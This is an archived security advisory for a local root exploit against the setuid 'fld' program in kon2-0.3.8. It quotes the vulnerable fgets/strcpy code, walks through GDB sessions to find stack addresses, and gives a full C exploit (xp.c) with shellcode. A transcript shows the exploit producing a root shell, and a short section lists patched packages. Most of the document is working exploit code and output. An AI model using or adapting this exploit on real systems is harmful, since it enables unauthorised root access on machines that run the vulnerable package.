COMMAND
kon2 package
SYSTEMS AFFECTED
kon2-0.3.8
PROBLEM
Black Sphere found following. There is a vulnerable suid program,
called FLD that is part of the kon2-0.3.8 package. This program
accepts options input from a text file and its possible to input
arbitrary code into the stack and spawning a root shell.
This is the vulnerable part of the program :
while (fgets (line, 256, fp))
{
if (!width && !high &&
!strncmp ("FONTBOUNDINGBOX", line, strlen ("FONTBOUNDINGBOX")))
{
p = line + sizeof ("FONTBOUNDINGBOX");
sscanf (p, "%d %d", &width, &high);
}
else if (!strncmp ("CHARSET_REGISTRY", line, 16))
{
p = line + sizeof ("CHARSET_REGISTRY");
while (*p != '"')
p++;
w = ++p;
while (*p != '"')
p++;
*p = '\0';
strcpy (reg, w);
}
As we can see, it reads 256 bytes from the file. If our options
file looks like this:
CHARSET_REGISTRY
CHARSET_REGISTRY "0000000000000000000000
CHARSET_REGISTRY "ISO8859"
CHARSET_ENCODING "1"
The program will do p++ while it *p != '"' If we write a exploit
program that writes to an environment variable the code and
adresses we need between quotes, its possibele to put the value
of the environment variable in variable reg with strcpy.
When we define a environment variable, the whole environment,
including our variable, will be at the end of the stack. So if we
don't put quotes in the options file, variable w will point to our
code. If we find quotes somewhere in the memory, before our code
appears, we just add: CHARSET_REGISTRY lines, until all the quotes
that are before our code in the stack becames : '\0'
(When *p = '\"' for second time, it will convert '\"' to '\0').
The size of the buffer must be 541. Stack looks like this
256 256 4 4 4 4
[ reg ] [ line ] [ fsp ] [ ret ] [ fp ] [...] ............[EGG = \"...our code ...\"]...
We cannot destroy the adresses after ret with the '\0' char of
strcpy(), so we must use GDB and a version of FLD compiled with
the -ggdb option and get two or three values after [ret] that
cannot be destroyed and must be replaced. For this we do:
[sphere@fire font]# gdb fld
GNU gdb 19991116
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux"...
(gdb) set args -type bdf ./cod
(gdb) break FontLoadBdf
Breakpoint 1 at 0x8049a14: file bdf.c, line 31.
(gdb) r
Starting program: /usr/src/RPM/SOURCES/kon2-0.3.8/font/fld -type bdf ./options
Breakpoint 1, FontLoadBdf (fp=0x804c590) at bdf.c:31
31 fi.type = CodingByRegistry ("ISO8859-1");
(gdb) x/6aw $ebp
0xbffff8fc: 0xbffffa3c 0x8049326 <main+694> 0x804c590 0xbffffbef
0xbffff90c: 0x40013460 0x0
(gdb)
(gdb) print reg + 20
$1 = 0xbffff710 "`4\001@÷\003"
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x8049af1 in FontLoadBdf (fp=0x804c590) at bdf.c:49
49 p++;
(gdb)
We change xp.c program with the rigth adresses. All equal to
that except "0x8049326 <main+694>" that will become "0xbffff710".
Then we copy /usr/bin/fld to our home directory and use gdb tomake
a break at fgets() This will give us the value next to [ret].
[sphere@fire font]# gdb fld
GNU gdb 19991116
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux"...(no debugging symbols found)...
(gdb) break fgets
Breakpoint 1 at 0x8048a5c
(gdb) set args -type bdf ./cod
(gdb) r
Starting program: /usr/src/RPM/SOURCES/kon2-0.3.8/font/fld -type bdf ./cod
Breakpoint 1, 0x40064ad5 in _IO_fgets (buf=0xbffff7fc "Ð6\001\002\001", n=256, fp=0x804bf90) at iofgets.c:34
34 iofgets.c: No such file or directory.
Now we have the rigth "fp" address. We change xp.c addresses
again.
/* Exploit code for /usr/bin/fld
Compile with : gcc -o xp xp.c
Made by : E-Ligth (Hugo Oliveira Dias) 01/08/2000
*/
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#define OFFSET 0
#define BUFFSIZE 541
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/zh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[])
{
int bsize = BUFFSIZE;
int offset = OFFSET;
int i;
long *addr_ptr, addr;
char *ptr,*buf,*env;
char arg[30];
if (!(buf = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
ptr = buf;
for (i = 0; i < bsize; i++)
*(ptr++) = shellcode[i];
buf[519] = 0x3c; /* Saved EBP 0xbffffa3c */
buf[520] = 0xfa;
buf[521] = 0xff;
buf[522] = 0xbf;
buf[523] = 0x10; /* Return Address 0xbffff710 */
buf[524] = 0xf7;
buf[525] = 0xff;
buf[526] = 0xbf;
buf[527] = 0x90; /* fp variable 0x804bf90 */
buf[528] = 0xbf;
buf[529] = 0x04;
buf[530] = 0x08;
buf[531] = 0xef; /* variable thats shouldn´t be destroyed 0xbffffbef */
buf[532] = 0xfb;
buf[533] = 0xff;
buf[534] = 0xbf;
buf[535] = 0x60; /* variable thats shouldn´t be destroyed 0x40013460 */
buf[536] = 0x34;
buf[537] = 0x01;
buf[538] = 0x40;
memcpy(buf,"-type \"",7);
buf[540] = '\0';
buf[539] = '\"';
memcpy(arg,"-type bdf ./code",16);
arg[16] = '\0';
env = (char *) malloc(bsize + 10);
memcpy(env,"EGG=",4);
strcat(env,buf);
putenv(env);
system("/bin/bash");
exit(0);
Now all we have to do is:
[sphere@fire my]$ gcc -o xp xp.c
[sphere@fire font]$ ./xp
[sphere@fire font]$ fld -type bdf ./options
dircolors: no SHELL environment variable, and no shell type option given
/etc/profile.d/color_ls.sh:3: parse error: condition expected: =
sphere@fire ~/my $ whoami
root
sphere@fire ~/my $
This code uses zsh with the name of zh to spawn the shell. The
exploit code was developed to participate in Wargames of
www.hack3r.com. The target computer was the host running Turbo
Linux 6.0.4 and authors distribution is Linux Mandrake 7.0. Both
revealed to be vulnerable to this exploit.
SOLUTION
SuSE-Linux either does not contain these packages or the files
therein causing the publically announced security vulnerabilities.
For Linux Mandrake
7.0/RPMS/kon2-0.3.8-15mdk.i586.rpm
7.0/SRPMS/kon2-0.3.8-15mdk.src.rpm
7.1/RPMS/kon2-0.3.8-15mdk.i586.rpm
7.1/SRPMS/kon2-0.3.8-15mdk.src.rpm
Debian distributes kon2 packages:
Debian GNU/Linux 2.1 0.3.7-9
Debian GNU/Linux 2.2 0.3.9b-3
The Debian maintainer for kon2 has decided not to make
/usr/bin/fld setuid, so the exploit doesn seem to work there.